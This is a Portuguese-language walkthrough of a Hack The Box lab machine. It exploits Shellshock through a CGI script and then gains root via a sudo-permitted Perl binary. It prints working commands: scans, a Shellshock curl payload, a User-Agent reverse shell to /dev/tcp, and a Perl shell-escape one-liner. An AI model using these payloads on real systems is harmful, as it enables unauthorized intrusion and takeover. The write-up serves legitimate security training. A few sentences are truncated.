
Walkthrough estruturado do HTB demonstrando a exploração do Shellshock (CVE-2014-6271) por meio de fuzzing de diretórios CGI e escalonamento de privilégios através de permissões sudo Perl mal configuradas usando o GTFOBins.
Uma walkthrough estruturada e profissional que demonstra a identificação e exploração manual da vulnerabilidade crítica Shellshock, seguida de escalação local de privilégios através de permissões sudo mal configuradas num alvo Linux.
10.10.10.56/usr/bin/perl)A avaliação começa com uma varredura rápida de porta completa TCP SYN, visando apenas portas abertas (--open), ignorando a descoberta de hosts (-Pn) e a resolução de DNS (-n) para acelerar o mapeamento.
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
A varredura inicial revela dois serviços ativos. Conduzimos uma segunda varredura direcionada para executar deteção agressiva de versões (-sCV) e avaliação de vulnerabilidades baseada em scripts:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
Em paralelo com as nossas varreduras de vulnerabilidades, iniciamos um brute-force de diretórios web usando o gobuster para mapear recursos ocultos no servidor Apache. Utilizamos uma wordlist padrão do framework SecLists:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
O processo de fuzzing identifica um diretório /cgi-bin/ não indexado. Em implementações web legadas, os servidores Apache utilizam a Interface de Gateway Comum (CGI) para executar scripts no lado do servidor. Dado o nome da máquina e a presença desta pasta, procuramos agressivamente por scripts executáveis (ex.: .sh, .cgi) que possam ser suscetíveis a falhas de injeção de variáveis de ambiente.
Uma enumeração adicional revela um script chamado user.sh localizado dentro do diretório /cgi-bin/.
A vulnerabilidade Shellshock (CVE-2014-6271) permite que atacantes executem comandos arbitrários no sistema operativo ao injetar definições maliciosas de funções em cabeçalhos de pedidos HTTP (como User-Agent) processados por instâncias vulneráveis de Bash.
Criamos um comando curl personalizado para enviar um payload de Prova de Conceito (PoC) projetado para forçar o sistema remoto a executar o comando /usr/bin/id:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id, validando execução remota de código (RCE) não autenticada.Para elevar o nosso vetor de execução a uma sessão interativa, estabelecemos um listener local com Netcat na nossa plataforma de ataque:
nc -lvnp 4444
Em seguida, injetamos uma string nativa de reverse shell em Bash dentro do cabeçalho malicioso User-Agent para forçar um callback via TCP:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
Após a execução bem-sucedida, recebemos uma shell estável com privilégios baixos:
$ whoami
shelly
Com um contexto de utilizador funcional no sistema, auditamos as nossas restrições locais. Consultamos a configuração do sudo para determinar se o utilizador shelly está autorizado a executar comandos com permissões elevadas sem fornecer password:
sudo -l
A saída revela a seguinte entrada de alto risco:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
Como temos acesso irrestrito e sem autenticação para executar o binário perl como root, podemos facilmente contornar as restrições do binário. Consultando o GTFOBins, encontramos um wrapper de execução que instrui o Perl a abrir uma shell nativa do sistema (/bin/sh), mantendo o contexto de identidade de execução (root):
sudo -u root perl -e 'exec "/bin/sh"'
Alcançamos imediatamente um contexto completo de execução administrativa:
# whoami
root
Agora que o acesso root foi estabelecido, navegamos até os diretórios home relevantes para recuperar as provas de comprometimento.
# Acessar a Flag do Utilizador
cat /home/shelly/user.txt
# Acessar a Flag de Root
cat /root/root.txt
perl, python ou bash via sudo introduz vetores de escalação imediatos. O acesso ao sudo deve ser limitado a scripts administrativos não interativos e altamente controlados.